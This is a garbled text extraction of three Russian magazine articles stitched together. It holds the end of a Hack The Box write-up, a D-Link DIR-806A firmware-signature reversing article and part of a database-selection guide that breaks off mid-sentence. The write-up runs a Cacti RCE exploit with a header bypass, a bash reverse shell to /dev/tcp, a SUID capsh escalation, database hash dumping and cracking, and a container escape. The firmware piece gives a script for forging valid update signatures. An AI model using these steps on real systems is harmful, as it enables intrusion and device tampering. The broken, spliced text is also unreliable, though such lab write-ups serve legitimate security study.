tr '\n' ',' sed $/ )
nmap   -p$ports -A $1

Он дей ству ет в два эта па. На пер вом про изво дит ся обыч ное быс трое ска- 
ниро вание, на вто ром — более тща тель ное ска ниро вание, с исполь зовани ем
име ющих ся скрип тов (опция ).-A

Ре зуль тат работы скрип та

Ска нер находит нам два откры тых пор та: 22 — служ ба OpenSSH 8.2p1 и 80 —
веб-сер вер Nginx 1.18.0.

Сра зу перехо дим к сай ту и видим там фор му авто риза ции.

Стра ница авто риза ции сай та

Ни же ука зана вер сия CMS Cacti — 1.2.22.

ÒÎ×ÊÀ ÂÕÎÄÀ
Пер вым делом сто ит про верить, есть ли для обна ружен ного движ ка уже
готовые экс пло иты. Если ты, как и я, исполь зуешь , то база экс пло- 

итов  у тебя уже есть под рукой. Дос таточ но выз вать ути литу
 и ука зать клю чевое сло во.

Kali Linux

ExploitDB

SearchSploit

searchsploit Cacti 

Экс пло иты, най ден ные при помощи SearchSploit

Ви дим, что есть экс пло ит для под ходящей вер сии Cacti. Он дол жен дать нам
воз можность уда лен ного выпол нения кода (RCE). Пос мотрим, какая есть
допол нитель ная информа ция об экс пло ите.

searchsploit -p php/webapps/51166.py 

Ин форма ция об экс пло ите

Прис тупа ем к экс плу ата ции. Сна чала запус тим лис тенер 
для получе ния реверс-шел ла. А затем и сам экс пло ит:

pwncat-cs

python3 51166.py -u http://10.10.11.211 -p 10.10.14.111 -i 4321 

Но в ответ ничего не получа ем. Видимо, у нас нет дос тупа к нуж ному эндпо- 
инту API. Что ж, при дет ся дей ство вать вруч ную. Откры ваем код экс пло ита
и про буем пов торить шаги.

Ис ходный код экс пло ита

Здесь про исхо дит обра щение к стра нице . Выпол няем

этот зап рос через бра узер и получа ем сооб щение об ошиб ке: мы не авто- 
ризо ваны.

remote_agent.php

Зап рос на сер вер и ответ сер вера

Это стран ное поведе ние, так как экс пло ит, судя по опи санию, дол жен
работать без авто риза ции. Давай перей дем в  (ком бинация
кла виш Ctrl-R, Ctrl-Shift-R) и поиг раем с зап росом для обхо да кон тро ля дос- 
тупа к стра нице. Мне уда лось добить ся нуж ного резуль тата при исполь- 
зовании HTTP-заголов ка  со зна чени ем .

Burp Repeater

X-Forwarded-For 127.0.0.1

Зап рос на сер вер и ответ сер вера

ÒÎ×ÊÀ ÎÏÎÐÛ
Воз вра щаем ся к исходни кам экс пло ита и пра вим в нем зна чение заголов ка

.X-Forwarded-For

Из менен ный код экс пло ита

Сно ва запус каем экс пло ит, он выпол няет ся и отоб ража ет нам парамет ры,
но бэк коннек та с уда лен ного сер вера все еще нет.

python3 51166.py -u http://10.10.11.211 -p 10.10.14.111 -i 4321 

Ло ги экс пло ита

Ве роят но, не отра баты вает сама посыла емая наг рузка, поэто му откро ем
порт 80 и поп робу ем выпол нить обыч ный HTTP-зап рос с помощью curl.

Из менен ный код экс пло ита

При пов торном выпол нении изме нен ного кода все-таки получа ем зап рос
на свой сер вер.

Вы пол нение экс пло ита и логи netcat

Мое пред положе ние ока залось вер ным: не выпол нялась сама наг рузка.
В таких слу чаях быва ет очень важ но понять, почему не работа ет тот или иной
готовый экс пло ит. Я переб рал нес коль ко дру гих вари антов шел ла, и в резуль- 
тате уда лось подоб рать рабочий.

bash  -c 'bash -i >& /dev/tcp/10.10.11.211/4321 0>&1'

Мо дер низиру ем экс пло ит и момен таль но получа ем сес сию pwncat-cs.

Сес сия поль зовате ля www-data

DOCKER ROOT
Для сбо ра информа ции о машине я, как обыч но, исполь зую скрип ты PEASS.

Справка: скрипты PEASS
Что делать пос ле того, как мы получи ли дос туп в сис тему от име ни поль- 
зовате ля? Вари антов даль нейшей экс плу ата ции и повыше ния при виле гий
может быть очень мно го, как в Linux, так и в Windows. Что бы соб рать
информа цию и наметить цели, мож но исполь зовать 

 (PEASS) — набор скрип тов, которые про веря ют сис- 
тему на авто мате и выда ют под робный отчет о потен циаль но инте рес ных
фай лах, про цес сах и нас трой ках.

Privilege Escalation
Awesome Scripts SUITE

Ко ман дой  заг рузим на хост скрипт для Linux, дадим пра во на выпол-
нение и запус тим ска ниро вание. В выводе будет мно го информа ции, давай
рас смот рим наибо лее зна чимые момен ты.

upload

Сре ди фай лов с уста нов ленным S-битом под све чен исполня емый файл
. Это явно что-то нес тандар тное.capsh

Фай лы с выс тавлен ным SUID

Вто рая наход ка — дос тупный нам файл , харак терный

для кон тей нера Docker.

/entrypoint.sh

Фай лы в кор невом катало ге

Пер вым делом ищем исполня емый файл  в базе .capsh GTFOBins

Справка: GTFOBins
 — это под борка спо собов зло упот ребле ния фун кци ями рас- 

простра нен ных прог рамм для Unix. Исполь зуя эти рецеп ты, мож но быс тро
получить дос туп к коман дным обо лоч кам, повысить при виле гии или передать
фай лы.

GTFOBins

И обна ружи ваем, что для ути литы capsh есть готовый рецепт.

Спо соб экс плу ата ции capsh с SUID

Ес ли у  уста нов лен S-бит, то мы можем повысить при виле гии все го
одной коман дой.

capsh

0 0 capsh --gid= --uid= --

Сес сия root в «Докере»

ÏÐÎÄÂÈÆÅÍÈÅ
Скрипт  выпол няет ся каж дый раз при стар те кон тей нера

Docker, поэто му сто ит обя затель но в гля нуть, что у там у это го сце нария внут- 
ри.

entrypoint.sh

Со дер жимое фай ла entrypoint.sh

В фай ле видим учет ные дан ные для под клю чения к базе дан ных MySQL. Под- 
клю чаем ся к базе и прос матри ваем таб лицы.

db root mysql --host= --user= --password=root cacti 

 show tables;

Таб лицы в базе дан ных cacti

Нас инте ресу ет таб лица , которая дол жна содер жать учет ные дан- 
ные.

user_auth

   select * from user_auth;

Дан ные в таб лице user_auth

По луча ем нес коль ко хешей bcrypt. Сох раня ем их и про буем проб рутить
с помощью hashcat.

 0 hashcat -a -m 3200 hashes.txt rockyou.txt 

Ре зуль тат бру та хешей

Мы получи ли пароль и можем с ним зай ти по SSH.

Флаг поль зовате ля

ËÎÊÀËÜÍÎÅ ÏÎÂÛØÅÍÈÅ ÏÐÈÂÈËÅÃÈÉ
Сно ва заг ружа ем на машину скрипт LinPEAS и выпол няем его. Единс твен ное,
что мож но отме тить в выводе, — это поч товые сооб щения поль зовате ля

.marcus

Поч товые сооб щения

Смот рим содер жимое фай ла  и обна ружи ваем, что

в перепис ке упо мяну то три уяз вимос ти CVE.

/var/mail/marcus

Со дер жимое фай ла /var/mail/marcus

Пос ледний из перечис ленных багов — это CVE-2021-41091: ошиб ка в фрей- 
мвор ке Moby, которая при опре делен ных усло виях может открыть воз- 
можность побега из кон тей нера.

Moby — это про ект с откры тым исходным кодом, раз работан ный коман дой
Docker для удобс тва кон тей нериза ции ПО. Ошиб ка сво дит ся к тому, что
каталог с дан ными (обыч но это ) содер жит под катало ги

с недос таточ но огра ничен ными раз решени ями. Это поз воля ет неп ривиле- 
гиро ван ным поль зовате лям прос матри вать содер жимое катало га и выпол- 
нять прог раммы с их текущи ми раз решени ями. Таким обра зом, ког да кон тей- 
нер содер жит исполня емый файл с активным S-битом, неп ривиле гиро ван ные
поль зовате ли могут выпол нить эти прог раммы от име ни вла дель ца (в Docker)
на хос товой машине за пре дела ми Docker.

/var/lib/docker

Поп робу ем пов торить эту ата ку, для чего вер немся к root-сес сии в Docker
и прис воим SUID фай лу коман дной обо лоч ки ./bin/bash

Справка: бит SUID
Ког да у фай ла уста нов лен атри бут setuid (S-атри бут), обыч ный поль зователь,
запус кающий этот файл, получа ет повыше ние прав до поль зовате ля — вла- 
дель ца фай ла в рам ках запущен ного про цес са. Пос ле получе ния повышен ных
прав при ложе ние может выпол нять задачи, которые недос тупны обыч ному
поль зовате лю. Из-за воз можнос ти сос тояния гон ки мно гие опе раци онные
сис темы игно риру ют S-атри бут, уста нов ленный shell-скрип там.

Наз начение S-бита фай лу /bin/bash

Те перь надо най ти раз дел, куда при мон тирован наш кон тей нер. Это нуж но,
что бы получить дос туп к фай лу  с S-битом./bin/bash

Мон тирован ные раз делы

Есть нес коль ко раз делов Docker — в катало ге , поэто му

прой дем ся по этим дирек тори ям и прос мотрим пра ва на фай лы .

/var/lib/docker/
bash

Фай лы bash в докерах

Так находим файл с активным S-битом. Соз даем новую сес сию bash в кон тек- 
сте поль зовате ля root и забира ем вто рой флаг.

Флаг рута

Ма шина зах вачена!

mailto:hackerralf8@gmail.com
https://www.hackthebox.eu/
https://github.com/calebstewart/pwncat
https://github.com/carlospolop/PEASS-ng
https://gtfobins.github.io/gtfobins/capsh/
https://gtfobins.github.io/


РЕВЕРСИМ ПРОШИВКУ 
НА ПРИМЕРЕ РОУТЕРА D-LINK
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ТРЮКИ

Не ред ко при соз дании кас томных про- 
шивок для роуте ра воз ника ет необ- 
ходимость в под делке под писи, что бы мож- 
но было гру зить про шив ку через сто ковую
веб-мор ду. А для под делки под писи нам
понадо бит ся изу чить про цесс про вер ки
обра за в сто ковой про шив ке. Пред лагаю
оку нуть ся в реверс про шив ки на при мере
роуте ра D-Link DIR-806A B1. Давай раз- 
берем ся, как в нем работа ет про вер ка под- 
писи.

У это го роуте ра 8 Мбайт флеш-памяти и 64 Мбайт — опе ратив ной. Работа ет
он на чипе MediaTek MT7620A. Этот камень осно ван на архи тек туре MIPS
и под держи вает ся ядром Linux. Заг рузка сто ковой про шив ки про исхо дит
через U-Boot. Там есть встро енный TFTP-кли ент для вос ста нов ления в слу- 
чае, если залил неудач ную про шив ку. Глав ное — не убить бут лоадер, ина че
при дет ся паять.

На мой взгляд, отличная желез ка для экспе римен тов. Один из минусов —
у DIR-806A в ори гиналь ной ком плек тации нет USB. Одна ко трас сиров ка USB
при сутс тву ет на пла те, так что при дол жном уров не зна ний и сно ров ки порт
мож но рас паять самос тоятель но.

Мы же нач нем с под клю чения к UART, так что не забудь запас тись пре- 
обра зова телем уров ней для UART. При под клю чении нуж но не забыть «пок- 
рестить» RX и TX. То есть RX-линию под клю чаем к TX, а TX — к RX. Парамет ры
соеди нения — 57600 8N1.

Рас пинов ка UART

Итак, под клю чились к UART. Поп робу ем про шить паци ента, одновре мен но
пог лядывая в кон соль. Вдруг там есть какие-то стро ки, которые помогут нам
най ти учас тки кода, отве чающие за про цесс про шив ки?

6signallin( ) start... mtd: "Linux"
: to libmtd (_mtd_write_ex) "/dev/mtd6", size: 0x6c4764, offset: 0x0, 

buffer: 0x2afa6000 

Уда ча! Роутер пишет в кон соль сооб щение о начале обновле ния и ука зыва ет
раз дел, на который льет ся про шив ка. При ревер се будем искать стро ки, а по
стро кам — мес то в коде. Клас сика! Поп робу ем поис кать стро ку 
в про шив ке:

start...

# grep -nr "start..." /sbin
%d/sbin/fw_updater:12411:( ) start... mtd: "%s"

Мы наш ли ути литу . Поп робу ем ее запус тить:fw_updater

 

 

 

FW_UPDATER

(6) usage: fwupdater  

По хоже, имен но она накаты вает новую про шив ку в раз дел .Linux

INFO

Ес ли бы никако го тек ста не было, приш лось бы
ревер сить саму веб-мор ду. Там обя затель но есть
сооб щения, коды оши бок и про чее, что потом
мож но поис кать. Отту да же мож но вый ти на ути- 
литы про шив ки. Либо науда чу поис кать ути литы,
в наз вани ях которых будут сло ва , ,

 и всё в этом духе. Еще мож но искать
в про шив ке стро ки ,  и про чее.

fw firmware
update

CRC image

Те перь поп робу ем най ти, отку да  вызыва ется в про шив ке:fw_updater

 

 

 

GREP -NR "FW_UPDATER" /LIB

/lib/libdhal.so:88250:/sbin/fw_updater 
/lib/libdhal.so:88254:/tmp/fw_updater

Мы обна ружи ли, что  исполь зует ся в биб лиоте ке .

Это очень любопыт но. Поп робу ем взгля нуть, что у нее внут ри. Для ревер са
будем исполь зовать . Она поз воля ет пре обра зовать бинар ный

исполня емый файл в код на С. Это очень удоб но, и не при дет ся копать ся
в ассем блер ном лис тинге.

fw_updater libdhal.so

Ghidra

Еще нам понадо бит ся ути лита, которая поможет перета щить нуж ный файл
на компь ютер. Мож но вос поль зовать ся любым средс твом пересыл ки фай лов
по сети. Если ничего под ходяще го на роуте ре нет, то мож но рас паковать про- 
шив ку на компь юте ре тем же . Уни вер саль ных сце нари ев не сущес- 
тву ет.

binwalk

В нашем слу чае есть . Переки дыва ем  на компь ютер:netcat libdhal.so

cat /lib/libdhal.so | nc 10.0.0.245 5000 

Соз даем про ект в Ghidra и дизас сем бли руем биб лиоте ку. Пос ле бег лого изу- 
чения нет рудно най ти фун кцию с говоря щим наз вани ем —

. Вот ее лис тинг на С:check_firmware_in_buffer

   
  

undefined4 check_firmware_in_buffer(int param_1,int param_2,
undefined4 param_3,undefined4 param_4)

{
  uint uVar1;
  ulong uVar2;
  int iVar3;
  char *pcVar4;
  char local_98;
  char local_97;
  undefined local_96;
   undefined local_95 [16];
   undefined auStack_85 [17];
   undefined auStack_74 [92];

 logmessage("check_firmware","Check signature in the firmware",
param_3,param_4);
     if (param_2 < 0x80) {
     pcVar4 = "Too small fw";
 }
  else {
          uVar1 = *(uint *)(param_1 + param_2 + -4);
                   
      

if ((uVar1 >> 0x18 | uVar1 >> 8 & 0xff00 | uVar1 << 0x18 | (uVar1
& 0xff00) << 8) == 0xc0ffee) {

       local_96 = 0;
       pcVar4 = "cef285a2e29e40b2baab31277d44298b";

      do {
         local_97 = pcVar4[1];
         local_98 = *pcVar4;

          uVar2 = strtoul(&local_98,(char **)0x0,0x10);
             local_95[(uint)(pcVar4 + -0x83218) >> 1] = (char)uVar2;

           pcVar4 = pcVar4 + 2;
         } while (pcVar4 != "");

     md5_init(auStack_74);
     md5_append(auStack_74,local_95,0x10);

       md5_append(auStack_74,param_1,param_2 + -0x14);
     md5_finish(auStack_74,auStack_85);

       param_3 = 0x10;
            iVar3 = memcmp((void *)(param_1 + param_2 + -0x14),auStack_85,

0x10);
         if (iVar3 == 0) {

       logmessage("check_firmware","Signature OK!",param_3,param_4);
        return 2;

     }
       pcVar4 = "Wrong signature!";

   }
    else {

       pcVar4 = "Wrong magic or version";
   }
 }
 logmessage("check_firmware",pcVar4,param_3,param_4);
  return 0;
}

Имен но в этой фун кции при нима ется решение о том, под ходит про шив ка
для роуте ра или нет. Про веря ется три вещи: раз мер обра за, магичес кое чис- 
ло и хеш MD5.

Пос ле ана лиза это го кода при ходим к выводу, что:
 — ука затель на буфер с фай лом про шив ки;• param_1

 — раз мер буфера.• param_2

Взгля нем вот на эту строч ку:

       uVar1 = *(uint *)(param_1 + param_2 + -4);

Нет рудно понять, что магичес кое чис ло рас полага ется в пос ледних четырех
бай тах про шив ки и рав но .0xc0ffee

Те перь раз берем ся с хешем:

md5_append(auStack_74,local_95,0x10);
  md5_append(auStack_74,param_1,param_2 + -0x14);

Ви дим, что хеш счи тает ся из мас сива  раз мером 16 байт и фай ла
про шив ки (за исклю чени ем 20 байт в кон це). 20 байт здесь — это раз мер
MD5 плюс 4 бай та магичес кого чис ла. Мас сив  стро ится

из парамет ра , в котором содер жится UUID устрой ства.

local_95

local_95
pcVar4

Что про исхо дит в этом кус ке кода:

  local_98 = *pcVar4;
   uVar2 = strtoul(&local_98,(char **)0x0,0x10);

      local_95[(uint)(pcVar4 + -0x83218) >> 1] = (char)uVar2;

Это кон верта ция бай та из тек сто вого пред став ления в машин ный код.
Са мое вре мя про верить, так ли мы хороши. Напишем скрипт на Python

для рас чета MD5:

   import sys, os, hashlib

  size = os.path.getsize(sys.argv[1])
    with open(sys.argv[1], "rb") as f:

       data = f.read(size - 20)
  hash_md5 = hashlib.md5()

hash_md5.update(bytes.fromhex("cef285a2e29e40b2baab31277d44298b"))
hash_md5.update(data)
print(hash_md5.hexdigest())

На вход скрипт при нима ет про шив ку. Резуль тат выпол нения ниже:

 

 

user@debian:~/md5$ python3 md5.py 2019.03.19-
18.04_DIR_806A_MT7620A_3.0.1_release.bin 
e5fd006108c91a7fd4e43b23575fa7cd

Срав нив получен ный хеш с исходной про шив кой по сме щению ,

понима ем, что хеш рас счи тан пра виль но.

0x6c4750

MD5 и магичес кое чис ло в про шив ке

Те перь мы лег ко можем соз дать про шив ку, которая будет заг ружать ся через
сто ковый веб-интерфейс.

Хеш MD5, а тем более, как в нашем слу чае, сло жен ный из UUID и обра за,
встре чает ся ред ко. Кон крет ная реали зация будет зависеть от про изво дите ля,
и тут кто во что горазд. Нап ример, у оте чес твен ных вен доров вро де SNR
или Keenetic с этим про ще. В SNR замени ли рас чет сум мы CRC32 ядра
на рас чет CRC32 всей про шив ки. А в Keenetic про писы вают в про шив ке
магичес кое чис ло, CRC32 и ID устрой ства.

При мер но так же по слож ности обсто ят дела с про шив ками роуте ров
Xiaomi. Там тоже есть и минималь ный раз мер про шив ки, и магичес кое чис ло.
Толь ко вмес то MD5 исполь зует ся RSA. В общем, как повезет. Но еще
не встре чалась под пись, которую нель зя было бы отре вер сить.

mailto:41exey@proton.me
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КОДИНГ

За чем вооб ще выбирать базу дан ных?
Почему нель зя прос то взять ту, с которой
уже работал, и исполь зовать ее? Час то
это оправдан ный выбор, но для чего же тог- 
да соз дано поч ти 500 раз ных СУБД? Давай
поп робу ем разоб рать ся вмес те, чем они
отли чают ся и ког да нуж ны.

Тра дици онно все сущес тву ющие СУБД делят на два клас са: реляци онные
и нереля цион ные (Relational, NoSQL). В свою оче редь, нереля цион ные СУБД
мож но раз делить еще на 15 катего рий — по моделям хра нения дан ных.

485 реали заций СУБД, раз битых по катего риям и лицен зиям рас -
простра нения

Для упро щения нашей задачи есть смысл каж дую из этих катего рий отнести
к СУБД обще го или спе циаль ного наз начения. Тер миноло гия неофи циаль- 
ная — она исполь зует ся прос то для понима ния того, что СУБД спе циаль ного
наз начения будут хорошим выбором, если есть соот ветс тву ющий зап рос.
Нап ример, если пред сто ит мно го работать с вре мен ными рядами или коор- 
дината ми.

СУБД обще го и спе циаль ного наз начения

Сто ит отме тить, что сегод ня мно гие популяр ные СУБД под держи вают муль- 
тимодель ное пред став ление дан ных, то есть их мож но отнести сра зу к нес- 
коль ким катего риям. Более того, пос коль ку мно гие про екты активно раз вива- 
ются, в них добав ляет ся под дер жка все новых фун кций и воз можнос тей,
в резуль тате чего они ста новят ся все боль ше похожи друг на дру га.

Так, сегод ня мно жес тво NoSQL СУБД име ют под дер жку и , и 

, и дру гих SQL-зап росов. Некото рые авто ры любят упо минать, что NoSQL
на самом деле озна чает Not Only SQL («не толь ко SQL») — это час то интер- 
пре тиру ют как «боль ше, чем SQL». При нято счи тать, что NoSQL — все го лишь
некое рас ширение для име юще гося по умол чанию SQL. На самом деле
это не сов сем так, и пра виль нее было бы перевес ти наз вание этой тех- 
нологии как что-то вро де «не SQL еди ным».

JOIN GROUP 
BY

Под дер жка син такси са SQL некото рыми NoSQL-про екта ми — это при- 
обре тен ная фун кция, а изна чаль но такие СУБД про екти рова лись сов сем
для дру гих целей. Нап ример, пов семес тное исполь зование  в докумен- 

тоориен тирован ной СУБД — не самое эффектив ное решение. Поэто му мы
будем делить СУБД на катего рии сог ласно пер вичной модели дан ных.

JOIN

ÄÎÏÎËÍÈÒÅËÜÍÛÅ ÊÐÈÒÅÐÈÈ

Кро ме пер вичной модели хра нения дан ных, при выборе СУБД сто ит обра тить
вни мание и на дру гие парамет ры.

Âòîðè÷íûå ìîäåëè õðàíåíèÿ äàííûõ
Мно гие сов ремен ные СУБД под держи вают нес коль ко моделей хра нения дан- 
ных. Нап ример, в PostgreSQL, MySQL и дру гих рас простра нен ных СУБД мож- 
но соз давать отдель ные кол лекции для хра нения докумен тов в фор мате
JSON, что поз воля ет сох ранять дан ные уже сей час, а со схе мой хра нения
раз бирать ся потом. А боль шинс тво рас простра нен ных ком мерчес ких СУБД
под держи вают работу с прос транс твен ными дан ными. Ком бинации моделей
хра нения могут быть совер шенно про изволь ными.

Ïîääåðæèâàåìûå ÿçûêè ïðîãðàììèðîâàíèÿ
Что бы не обре кать себя на поиск обходных путей и прик ручива ние кос тылей,
луч ше сра зу убе дить ся, что СУБД под держи вает выб ранный тобой язык прог- 
рамми рова ния.

Ìåòîäû ðåïëèêàöèè
Реп ликация дан ных в реаль ном вре мени спа сет нас в слу чае потери
основной базы дан ных, а так же поможет рас пре делить наг рузку за счет
перено са час ти зап росов на реп лики.

На уров не СУБД реп ликация может быть физичес кой или логичес кой.
 осно выва ется на том, что опе рации, содер- 

жащи еся в логах БД, выпол няют ся на реп ликах. Реп ликация может быть син- 
хрон ной или асин хрон ной.

Ôè çè÷åñ êàÿ ðåï ëèêàöèÿ

 отли чает ся тем, что всег да есть набор тран закций,

завер шенных на основной базе, но еще не дошед ших до резер вной. В слу чае
перехо да на резер вную базу при сбое основной эти тран закции будут
потеря ны. Этот метод подой дет, если для нас про изво дитель ность име ет
мак сималь ный при ори тет. При син хрон ной реп ликации завер шение опе- 
рации  озна чает, что все отно сящи еся к этой тран закции жур наль ные

записи переда ны на реп лику. Если реп лика не отве чает,  на основной
базе не завер шает ся. Это пра виль ный выбор, если в при ори тете сох ранность
и защита дан ных.

Àñèí õðîí íûé ìåòîä

commit
commit

В слу чае же, ког да в мак сималь ном при ори тете дос тупность дан ных, мож- 
но нас тро ить режим . Но если реп лика не отве- 

чает, то реп ликация перек люча ется в асин хрон ный режим, а как толь ко связь
вос ста нав лива ется — реп лика сра зу обновля ется до акту аль ного сос тояния.

ñèí õðîí íîé ðåï ëèêàöèè

 — это ког да изме нения в БД про исхо дят

в резуль тате вызовов ее API, нап ример в ходе выпол нения SQL-зап росов.

Ëî ãè÷åñ êàÿ ðåï ëèêàöèÿ

Ïîääåðæêà MapReduce API
Ес ли база дан ных хра нит информа цию в рас пре делен ной сре де, то есть дан- 
ные раз делены и содер жатся на нес коль ких узлах, то наличие API
для MapReduce поз воля ет выпол нять вычис ления MapReduce непос редс- 
твен но на дан ных внут ри базы без необ ходимос ти извле кать их наружу.
Основная идея MapReduce зак люча ется в рас пре деле нии решения задачи
на мно жес тво узлов, где каж дый узел выпол няет локаль ные вычис ления,
а затем резуль таты агре гиру ются и объ еди няют ся для получе ния окон чатель- 
ного ито га. Это сок раща ет вре мя переда чи дан ных меж ду узла ми и повыша ет
про изво дитель ность.

Êîíöåïöèè ñîãëàñîâàííîñòè â ðàñïðåäåëåííûõ ÁÄ
В кон тек сте рас пре делен ных сис тем сог ласован ность дан ных име ет осо бое
зна чение из-за воз можнос ти сущес тво вания нес коль ких реп лик дан ных
или узлов, которые могут изме нять дан ные асин хрон но. Задача сос тоит в том,
что бы гаран тировать, что дан ные син хро низи рова ны и сог ласова ны на всех
узлах сис темы в опре делен ный момент вре мени. Сог ласован ность дан ных
быва ет сле дующих типов.

 (Weak Consistency): при сла бой сог ласован- 

ности сис тема не гаран тиру ет мгно вен ное рас простра нение изме нений
и сог ласован ное сос тояние дан ных меж ду узла ми. Вмес то это го сис тема
может допус кать вре мен ные рас хожде ния или кон флик ты дан ных. Это обес- 
печива ет высокую дос тупность и мас шта биру емость в рас пре делен ных сис- 
темах, но может при водить к несог ласован ности дан ных в опре делен ных
ситу ациях.

Ñëà áàÿ ñîã ëàñîâàí íîñòü

 (Strong Consistency): при силь ной сог- 

ласован ности сис тема гаран тиру ет, что дан ные всег да находят ся в сог- 
ласован ном сос тоянии меж ду раз личны ми узла ми в сис теме. Это озна чает,
что любое чте ние дан ных будет учи тывать пос ледние изме нения, сде лан ные
в сис теме. Час то для дос тижения силь ной сог ласован ности тре бует ся допол- 
нитель ное вре мя и ресур сы.

Ñèëü íàÿ ñîã ëàñîâàí íîñòü

 (Sequential Consistency):

при пос ледова тель ной сог ласован ности сис тема гаран тиру ет, что все опе- 
рации записи и чте ния будут выпол нять ся в стро гом поряд ке, как буд то они
осу щест вля ются пос ледова тель но. Это озна чает, что резуль таты опе раций
будут соот ветс тво вать некото рому линей ному поряд ку, незави симо от парал- 
лель нос ти их выпол нения.

Ïîñ ëåäîâà òåëü íàÿ ñîã ëàñîâàí íîñòü

 (Eventual Consistency): это свой ство

озна чает, что при отсутс твии новых обновле ний дан ные в ито ге будут сог- 
ласова ны. В этом слу чае база дан ных не гаран тиру ет мгно вен ной сог- 
ласован ности меж ду копи ями дан ных, но с течени ем вре мени все копии будут
сог ласова ны. Это обыч но дос тига ется путем асин хрон ного рас простра нения
обновле ний и их сли яния на раз ных узлах базы дан ных.

Ïðè ÷àñ òíàÿ ñîã ëàñîâàí íîñòü

 (Causal Consistency): в этом режиме база

дан ных гаран тиру ет, что если опе рация A зависит от опе рации B, то опе рация
A будет учи тывать резуль таты опе рации B или более поз дние резуль таты.
Это обес печива ет сог ласован ность дан ных с уче том их при чин но-следс твен- 
ных свя зей.

Êà óçàëü íàÿ ñîã ëàñîâàí íîñòü

Êîíöåïöèè òðàíçàêöèé
Кон цепции тран закций обес печива ют ато мар ность, сог ласован ность (в кон- 
тек сте тран закций «сог ласован ность» име ет дру гое зна чение), изо лиро ван- 
ность и дол говеч ность опе раций. Одной из кон цепций тран закций в базах
дан ных явля ется ACID (Atomicity, Consistency, Isolation, Durability). ACID —
это клас сичес кий набор свой ств тран закций в базах дан ных:
• Ато мар ность (Atomicity) гаран тиру ет, что тран закция либо выпол няет ся

пол ностью, либо не выпол няет ся сов сем. Если одна опе рация в тран- 
закции не уда лась, то все пре дыду щие опе рации отме няют ся (отка тыва- 
ются) и сос тояние базы дан ных воз вра щает ся к исходно му.

• Сог ласован ность (Consistency) гаран тиру ет, что пос ле завер шения тран- 
закции база дан ных оста ется в сог ласован ном сос тоянии. Тран закция
дол жна соб людать пре доп ределен ные пра вила целос тнос ти дан ных.

• Изо лиро ван ность (Isolation) озна чает, что одна тран закция не видит изме- 
нений, вне сен ных дру гими тран закци ями, до тех пор, пока эти изме нения
не будут зафик сирова ны (committed). Это пре дот вра щает кон флик ты
и обес печива ет парал лель ность выпол нения тран закций.

• Дол говеч ность (Durability) гаран тиру ет, что пос ле успешно го завер шения
тран закции ее изме нения сох раня ются даже в слу чае сбо ев сис темы
или отклю чения питания. Изме нения дол жны быть сох ранены в пос тоян- 
ном хра нили ще, что бы они мог ли быть вос ста нов лены при необ ходимос ти.

Дру гая кон цепция называ ется BASE (Basically Available, Soft state, Eventually
consistent). Она отли чает ся от ACID и обыч но исполь зует ся в рас пре делен ных
сис темах, где в при ори тете высокая дос тупность и мас шта биру емость, а сог- 
ласован ность может быть нес тро гой.
• Basically Available (основная дос тупность) озна чает, что сис тема дол жна

быть всег да дос тупна для опе раций, даже в слу чае сбо ев или раз деления
сети. Это поз воля ет обес печить высокую дос тупность сис темы.

• Soft state (мяг кое сос тояние) допус кает вре мен ную несог ласован ность
дан ных в сис теме. В слу чай ный момент вре мени дан ные на раз ных узлах
могут ока зать ся в некон систен тном сос тоянии.

• Eventually consistent (в конеч ном сче те сог ласован ный) озна чает, что хотя
в какой-то момент вре мени дан ные могут быть несог ласован ными,
при отсутс твии обновле ний они все же при дут в сог ласован ное сос тояние
или сами по себе, или с помощью какого-либо механиз ма сог ласова ния.

Âîçìîæíîñòü ðàáîòû ñ äàííûìè â îïåðàòèâíîé ïàìÿòè
Эта полез ная опция раз реша ет хра нить некото рые или вооб ще все дан ные
в опе ратив ной памяти, которая, как извес тно, гораз до быс трее пос тоян ной.

Мо жет быть очень удоб но, нап ример, для получе ния опе раци онной ана- 
лити ки, ког да выпол нение ана лити чес ких зап росов тре бует обра бот ки боль- 
шого объ ема дан ных в режиме реаль ного вре мени. Таким обра зом мож но
быс тро ана лизи ровать информа цию и получать свод ные резуль таты для при- 
нятия опе ратив ных решений.

Хра нение информа ции в опе ратив ной памяти дает воз можность исполь- 
зовать ее в качес тве кеша для уско рения дос тупа к час то зап рашива емым
дан ным. Кеширо вание в опе ратив ной памяти поз воля ет избе жать пов торно го
чте ния или обра бот ки дан ных из более мед ленных источни ков, таких как дис- 
ковое хра нили ще или уда лен ные сер висы.

Те перь рас смот рим пер вичные модели хра нения дан ных в СУБД.

ÐÅËßÖÈÎÍÍÛÅ ÑÓÁÄ

 PostgreSQL, MySQL, SQLite, MariaDB, Hive• Open source:

 Oracle, MS SQL Server, IBM Db2, MS Access, Snowake• Êîì ìåð÷åñ êèå:

 GCP bare metal solution, Amazon RDS, Azure Oracle Database

Enterprise Edition

• Îá ëà÷íûå:

В целом с реляци онны ми СУБД все более-менее понят но: они содер жат таб- 
лицы с дан ными. Каж дая запись — это стро ка, в каж дой ячей ке таб лицы хра- 
нит ся какой-то один опре делен ный тип дан ных. Таб лицы могут быть свя заны
меж ду собой, отсю да и наз вание «реляци онные» (relations). Дан ными мож но
манипу лиро вать на язы ке зап росов SQL.

При мер орга низа ции дан ных в реляци онной базе дан ных

С них все и началось в семиде сятых годах, и с тех пор тех нология не потеря ла
акту аль нос ти и про дол жает раз вивать ся. Такие базы дан ных хорошо подой дут
для про ектов, где дан ные могут быть орга низо ваны в таб лицы с чет ко опре- 
делен ными отно шени ями, — их при меры при веде ны ниже.

 реляци онная база дан ных хорошо под ходит

для хра нения информа ции о про дук тах, заказах, кли ентах и тран закци ях.
Высокая сог ласован ность дан ных и воз можность выпол нения слож ных зап- 
росов поз воля ют эффектив но управлять инвента риза цией, обра бот кой
заказов и ана лити кой про даж.

Èí òåðíåò�ìàãàçèí:

 в CMS дан ные о стать ях,

стра ницах, поль зовате лях, ком мента риях и дру гих эле мен тах кон тента могут
быть хорошо струк туриро ваны в реляци онной базе дан ных. Реляци онная
модель обес печива ет гиб кость и эффектив ность при редак тирова нии, поис ке
и сор тиров ке кон тента.

Ñèñ òåìà óïðàâëå íèÿ êîí òåíòîì (CMS):

 реляци онная база дан ных может

исполь зовать ся для хра нения информа ции о про ектах, задачах, учас тни ках,
сро ках и свя зях меж ду ними. Свя зи и зависи мос ти меж ду дан ными могут быть
лег ко уста нов лены с помощью отно шений и внеш них клю чей.

Ñèñ òåìà óïðàâëå íèÿ ïðî åêòà ìè:

 реляци онная база дан ных может хра нить информа цию

о номерах, бро ниро вани ях, кли ентах, опла те и дру гих атри бутах оте ля. Мощ- 
